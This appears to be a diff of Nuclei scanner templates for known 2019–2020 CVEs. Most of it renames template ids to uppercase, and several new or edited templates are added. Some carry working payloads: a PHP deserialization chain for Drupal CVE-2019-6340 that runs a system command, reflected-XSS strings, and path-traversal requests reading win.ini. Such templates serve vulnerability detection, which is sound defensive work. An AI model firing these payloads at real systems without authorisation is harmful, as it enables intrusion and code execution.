  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
+
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
+
      - type: word
        words:
          - "2.2.5"
        part: body
+        negative: true
+
+      - type: word
+        words:
+          - "Changelog"
+        part: body
+
+      - type: word
+        words:
+          - "Woody ad snippets"
+        part: body
@@ -1,4 +1,4 @@
-id: cve-2019-16278
+id: CVE-2019-16278

 info:
  author: pikpikcu
@@ -1,4 +1,4 @@
-id: cve-2019-1653
+id: CVE-2019-1653

 info:
  name: Unauthenticated Cisco Small Business WAN VPN Routers Sensitive Info Disclosure
@@ -1,4 +1,4 @@
-id: cve-2019-16662
+id: CVE-2019-16662

 info:
  name: rConfig 3.9.2 - Remote Code Execution
@@ -1,4 +1,4 @@
-id: cve-2019-16759-1
+id: CVE-2019-16759-1

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
@@ -1,4 +1,4 @@
-id: cve-2019-16759
+id: CVE-2019-16759

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4
@@ -1,4 +1,4 @@
-id: cve-2019-16920
+id: CVE-2019-16920

 info:
  name: Unauthenticated Multiple D-Link Routers RCE
@@ -1,4 +1,4 @@
-id: cve-2019-17382
+id: CVE-2019-17382

 info:
  name: Zabbix Authentication Bypass
@@ -1,4 +1,4 @@
-id: cve-2019-17558
+id: CVE-2019-17558

 info:
  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
@@ -1,4 +1,4 @@
-id: cve-2019-18394
+id: CVE-2019-18394

 info:
  name: Openfire Full Read SSRF
@@ -1,4 +1,4 @@
-id: cve-2019-19368
+id: CVE-2019-19368

 info:
  name: Rumpus FTP Web File Manager 8.2.9.1 XSS
@@ -1,4 +1,4 @@
-id: cve-2019-19781
+id: CVE-2019-19781

 info:
  name: Citrix ADC Directory Traversal
@@ -1,4 +1,4 @@
-id: cve-2019-19908
+id: CVE-2019-19908

 info:
  name: phpMyChat-Plus XSS
@@ -1,4 +1,4 @@
-id: cve-2019-19985
+id: CVE-2019-19985

 info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
@@ -1,4 +1,4 @@
-id: cve-2019-20141
+id: CVE-2019-20141

 info:
  name: Neon Dashboard - XSS Reflected
@@ -11,18 +11,17 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
-      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+      - '{{BaseURL}}/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
+      - '{{BaseURL}}/admin/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'

    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "<img src=x onerror=alert(1)>"
+          - "><img src=x onerror=alert(1)>>)1(trela=rorreno"
        part: body

      - type: word
        words:
-          - "application/json"
-        part: header
-        negative: true
+          - "text/html"
+        part: header
@@ -1,4 +1,4 @@
-id: cve-2019-2588
+id: CVE-2019-2588

 info:
  name: Oracle Business Intelligence Path Traversal
@@ -9,7 +9,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
-      - "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
    matchers-condition: and
    matchers:
      - type: word
@@ -1,4 +1,4 @@
-id: cve-2019-2725
+id: CVE-2019-2725

 info:
  name: Oracle WebLogic Server - Unauthenticated RCE
@@ -18,7 +18,6 @@ requests:
  - method: POST
    path:
      - "{{BaseURL}}/_async/AsyncResponseService"
-      - "{{BaseURL}}:7001/_async/AsyncResponseService"
    body: >-
      <?xml version="1.0" encoding="UTF-8" ?>
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
@@ -1,4 +1,4 @@
-id: cve-2019-3396
+id: CVE-2019-3396
 info:
  author: "Harsh Bothra"
  name: "Atlassian Confluence Path Traversal"
@@ -1,4 +1,4 @@
-id: cve-2019-3402
+id: CVE-2019-3402

 info:
  name: Jira - Reflected XSS using searchOwnerUserName parameter.
@@ -1,4 +1,4 @@
-id: cve-2019-3799
+id: CVE-2019-3799
 info:
  name: Spring-Cloud-Config-Server Directory Traversal
  author: madrobot
@@ -1,4 +1,4 @@
-id: cve-2019-5418
+id: CVE-2019-5418

 info:
  name: File Content Disclosure on Rails
@@ -1,4 +1,4 @@
-id: cve-2019-6112
+id: CVE-2019-6112

 info:
  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
@@ -0,0 +1,40 @@
+id: CVE-2019-6340
+
+info:
+  name: Drupal 8 core RESTful Web Services RCE
+  author: madrobot
+  severity: critical
+  description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-6340
+  product: Drupal
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/node/1?_format=hal_json'
+
+    body: '{
+  "link": [
+    {
+      "value": "link",
+      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+    }
+  ],
+  "_links": {
+    "type": {
+      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
+    }
+  }
+}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "uid="
+          - "gid="
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: cve-2019-6715
+id: CVE-2019-6715

 info:
  name: CVE-2019-6715
@@ -0,0 +1,26 @@
+id: CVE-2019-7219
+
+info:
+  name: Zarafa WebApp Reflected XSS
+  author: pd-team
+  severity: low
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/webapp/?fccc0\"><script>alert(1)</script>5f43d=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "\"><script>alert(1)</script>"
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: cve-2019-7256
+id: CVE-2019-7256

 info:
  name: eMerge E3 1.00-06 - Remote Code Execution
@@ -1,4 +1,4 @@
-id: cve-2019-7609
+id: CVE-2019-7609

 info:
  name: Kibana Timelion Arbitrary Code Execution
@@ -19,7 +19,6 @@ requests:
  - method: POST
    path:
      - "{{BaseURL}}/api/timelion/run"
-      - "{{BaseURL}}:5601/api/timelion/run"
    headers:
      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
      Content-Type: "application/json; charset=utf-8"
@@ -1,4 +1,4 @@
-id: cve-2019-8442
+id: CVE-2019-8442
 info:
  name: JIRA Directory Traversal
  author: Kishore Krishna (siLLyDaddy)
@@ -1,4 +1,4 @@
-id: cve-2019-8449
+id: CVE-2019-8449

 info:
  name: JIRA Unauthenticated Sensitive Information Disclosure
@@ -1,4 +1,4 @@
-id: cve-2019-8451
+id: CVE-2019-8451

 info:
  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
@@ -1,4 +1,4 @@
-id: cve-2019-8903
+id: CVE-2019-8903

 info:
  name: Totaljs - Unathenticated Directory Traversal
@@ -1,4 +1,4 @@
-id: cve-2019-8982
+id: CVE-2019-8982
 info:
  name: Wavemaker Studio 6.6 LFI/SSRF
  author: madrobot
@@ -1,4 +1,4 @@
-id: cve-2019-9670
+id: CVE-2019-9670

 info:
  name: Zimbra Collaboration XXE
@@ -1,4 +1,4 @@
-id: cve-2019-9733
+id: CVE-2019-9733
 info:
  name: Artifactory Access-Admin Login Bypass
  author: akshansh
@@ -0,0 +1,18 @@
+id: CVE-2019-9955
+
+info:
+  name: CVE-2019-9955 Zyxel XSS
+  author: pd-team
+  severity: low
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?mobile=1&mp_idx=%22;alert(%271%27);//"
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "\";alert('1');//"
+          - "<title>Welcome</title>"
+        condition: and
@@ -1,4 +1,4 @@
-id: cve-2019-9978
+id: CVE-2019-9978

 info:
  name: WordPress social-warfare RFI
@@ -1,4 +1,4 @@
-id: cve-2020-0618
+id: CVE-2020-0618

 info:
  name: RCE in SQL Server Reporting Services
@@ -0,0 +1,48 @@
+id: CVE-2020-10148
+
+info:
+  name: SolarWinds Orion API Auth Bypass Leads to RCE (SUPERNOVA)
+  author: dwisiswant0
+  severity: high
+  description: |
+    This template could allow to bypass authentication and execute API
+    commands which may result in a compromise of the SolarWinds instance.
+
+  # References:
+  # - https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/solarwinds-lfi-cve-2020-10148.yaml
+  # - https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965
+  # - https://kb.cert.org/vuls/id/843464
+  # - https://twitter.com/0xsha/status/1343800953946787847
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web.config.i18n.ashx?l=nuclei&v=nuclei"
+
+     # - "{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l=nuclei&v=nuclei"
+     # Above path can be used if you are looking to scan for "SWNetPerfMon.db" file.
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "SolarWinds.Orion.Core."
+        part: body
+
+      - type: word
+        words:
+          - "text/plain"
+        part: header
+
+      - type: status
+        status:
+          - 200
+
+#      - type: word
+#        words:
+#          - "Connection String"
+#          - "text/plain"
+#        part: all
+#        condtion: and
+#
+# Commented matchers can be used for "SWNetPerfMon.db" file.
@@ -1,8 +1,8 @@
-id: cve-2020-10199
+id: CVE-2020-10199

 info:
  name: Nexus Repository Manager 3 RCE
-  auhtor: hetroublemakr
+  author: hetroublemakr
  severity: high
  description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31